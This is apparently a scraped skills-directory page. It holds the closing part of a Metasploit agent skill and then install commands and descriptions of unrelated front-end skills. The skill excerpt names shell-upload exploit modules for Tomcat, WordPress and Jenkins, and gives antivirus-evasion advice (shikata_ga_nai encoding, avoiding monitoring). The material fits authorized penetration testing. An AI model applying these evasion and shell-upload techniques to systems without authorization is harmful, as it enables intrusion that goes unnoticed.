Applications\nexploit\u002Fmulti\u002Fhttp\u002Ftomcat_mgr_upload\nexploit\u002Funix\u002Fwebapp\u002Fwp_admin_shell_upload\nexploit\u002Fmulti\u002Fhttp\u002Fjenkins_script_console\n```\n\n## Constraints and Limitations\n\n### Legal Requirements\n- Only use on systems you own or have written authorization to test\n- Document all testing activities\n- Follow rules of engagement\n- Report all findings to appropriate parties\n\n### Technical Limitations\n- Modern AV\u002FEDR may detect Metasploit payloads\n- Some exploits require specific target configurations\n- Firewall rules may block reverse connections\n- Not all exploits work on all target versions\n\n### Operational Security\n- Use encrypted channels (reverse_https) when possible\n- Clean up artifacts after testing\n- Avoid detection by monitoring systems\n- Limit post-exploitation to agreed scope\n\n## Troubleshooting\n\n| Issue | Solutions |\n|-------|-----------|\n| Database not connected | Run `sudo msfdb init`, start PostgreSQL, then `db_connect` |\n| Exploit fails\u002Fno session | Run `check`; verify payload architecture; check firewall; try different payloads |\n| Session dies immediately | Migrate to stable process; use stageless payload; check AV; use AutoRunScript |\n| Payload detected by AV | Use encoding `-e x86\u002Fshikata_ga_nai -i 10`; use evasion modules; custom templates |\n",{"name":5,"metadata":24,"description":7},{"author":25,"version":26},"zebbern","1.1","main","f27dd0e6c87efa56cfdea304aa3e89e63c02711b","plugins\u002Fskills-security\u002Fskills\u002Fmetasploit-framework","https:\u002F\u002Fgithub.com\u002Fsharepointoscar\u002Fagent-workflow-skills","https:\u002F\u002Fgithub.com\u002Fsharepointoscar","Author | DevOps Practitioner | Docker | Terraform | Kubernetes | Jenkins X  | AWS | GCP | Azure and SP Veteran (since code-name Tahoe)","2026-11-11 12:44:52",{"source":8,"skillName":5,"commands":35,"prompt":45,"zipAvailable":46},[36,39,42],{"tool":37,"command":38},"npx","npx skills add sharepointoscar\u002Fagent-workflow-skills --skill metasploit-framework",{"tool":40,"command":41},"bunx","bunx skills add sharepointoscar\u002Fagent-workflow-skills --skill metasploit-framework",{"tool":43,"command":44},"pnpm","pnpm dlx skills add sharepointoscar\u002Fagent-workflow-skills --skill metasploit-framework","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fsharepointoscar\u002Fagent-workflow-skills\u002Fblob\u002Fmain\u002Fplugins\u002Fskills-security\u002Fskills\u002Fmetasploit-framework\u002FSKILL.md",true,[],[49,56,63,70,77,84],{"skillNo":50,"name":51,"nameZh":6,"description":52,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":53,"categories":54,"keywords":55,"publishedAt":19},"01M79FQNYDNR7TYQAM5061GVKR","web-performance-optimization","Optimize website and web application performance including loading speed, Core Web Vitals, bundle size, caching strategies, and runtime performance","https:\u002F\u002Fgithub.com\u002Fsharepointoscar\u002Fagent-workflow-skills\u002Fblob\u002Fmain\u002Fplugins\u002Fskills-web-frontend\u002Fskills\u002Fweb-performance-optimization\u002FSKILL.md",[],[],{"skillNo":57,"name":58,"nameZh":6,"description":59,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":60,"categories":61,"keywords":62,"publishedAt":19},"01M79FQK396EEGX40QA7B9S404","web-design-guidelines","Review UI code for Web Interface Guidelines compliance. Use when asked to \"review my UI\", \"check accessibility\", \"audit design\", \"review UX\", or \"check my site against best practices\".","https:\u002F\u002Fgithub.com\u002Fsharepointoscar\u002Fagent-workflow-skills\u002Fblob\u002Fmain\u002Fplugins\u002Fskills-web-frontend\u002Fskills\u002Fweb-design-guidelines\u002FSKILL.md",[],[],{"skillNo":64,"name":65,"nameZh":6,"description":66,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":67,"categories":68,"keywords":69,"publishedAt":19},"01M79FQFK4GJCG8HVRG8JQF4QH","wcag-audit-patterns","Conduct WCAG 2.2 accessibility audits with automated testing, manual verification, and remediation guidance. Use when auditing websites for accessibility, fixing WCAG violations, or implementing accessible design patterns.","https:\u002F\u002Fgithub.com\u002Fsharepointoscar\u002Fagent-workflow-skills\u002Fblob\u002Fmain\u002Fplugins\u002Fskills-web-frontend\u002Fskills\u002Fwcag-audit-patterns\u002FSKILL.md",[],[],{"skillNo":71,"name":72,"nameZh":6,"description":73,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":74,"categories":75,"keywords":76,"publishedAt":19},"01M79FQ7WRQXC4D20Q2HTBMDG7","ui-ux-pro-max","UI\u002FUX design intelligence. 50 styles, 21 palettes, 50 font pairings, 20 charts, 9 stacks (React, Next.js, Vue, Svelte, SwiftUI, React Native, Flutter, Tailwind, shadcn\u002Fui). Actions: plan, build, create, design, implement, review, fix, improve, optimize, enhance, refactor, check UI\u002FUX code. Projects: website, landing page, dashboard, admin panel, e-commerce, SaaS, portfolio, blog, mobile app, .html, .tsx, .vue, .svelte. Elements: button, modal, navbar, sidebar, card, table, form, chart. Styles: glassmorphism, claymorphism, minimalism, brutalism, neumorphism, bento grid, dark mode, responsive, skeuomorphism, flat design. Topics: color palette, accessibility, animation, layout, typography, font pairing, spacing, hover, shadow, gradient. Integrations: shadcn\u002Fui MCP for component search and examples.","https:\u002F\u002Fgithub.com\u002Fsharepointoscar\u002Fagent-workflow-skills\u002Fblob\u002Fmain\u002Fplugins\u002Fskills-web-frontend\u002Fskills\u002Fui-ux-pro-max\u002FSKILL.md",[],[],{"skillNo":78,"name":79,"nameZh":6,"description":80,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":81,"categories":82,"keywords":83,"publishedAt":19},"01M79FPZC11BPBWDCVK2TER0RC","stitch-ui-design","Expert guide for creating effective prompts for Google Stitch AI UI design tool. Use when user wants to design UI\u002FUX in Stitch, create app interfaces, generate mobile\u002Fweb designs, or needs help crafting Stitch prompts. Covers prompt structure, specificity techniques, iteration strategies, and design-to-code workflows for Stitch by Google.","https:\u002F\u002Fgithub.com\u002Fsharepointoscar\u002Fagent-workflow-skills\u002Fblob\u002Fmain\u002Fplugins\u002Fskills-web-frontend\u002Fskills\u002Fstitch-ui-design\u002FSKILL.md",[],[],{"skillNo":85,"name":86,"nameZh":6,"description":87,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":88,"categories":89,"keywords":90,"publishedAt":19},"01M79FPTMMM3C57JN25RTRX2HR","scroll-experience","Expert in building immersive scroll-driven experiences - parallax storytelling, scroll animations, interactive narratives, and cinematic web experiences. Like NY Times interactives, Apple product pages, and award-winning web experiences. Makes websites feel like experiences, not just pages. Use when: scroll animation, parallax, scroll storytelling, interactive story, cinematic website.","https:\u002F\u002Fgithub.com\u002Fsharepointoscar\u002Fagent-workflow-skills\u002Fblob\u002Fmain\u002Fplugins\u002Fskills-web-frontend\u002Fskills\u002Fscroll-experience\u002FSKILL.md",[],[]]